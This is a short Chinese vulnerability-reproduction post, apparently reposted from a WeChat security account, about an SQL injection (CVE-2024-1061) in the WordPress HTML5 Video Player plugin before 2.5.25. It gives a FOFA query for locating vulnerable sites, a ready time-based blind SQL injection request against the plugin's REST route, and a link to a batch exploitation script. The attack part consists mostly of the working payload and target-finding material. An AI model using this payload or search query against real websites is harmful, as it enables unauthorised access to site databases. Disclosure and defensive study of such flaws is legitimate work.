HTML5 Video Player
一：漏洞描述
WordPress Plugin HTML5 Video Player < 2.5.25
二：网络空间测绘查询
fofa
fofa："wordpress" && body="html5-video-player"三：漏洞
poc
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+ HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
四：批量脚本获取
https://github.com/Y1-K1NG/poc_exp/tree/main/20240218WordPress%20Plugin%20HTML5%20Video%20Player%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
原文始发于微信公众号（Yi安全）：漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论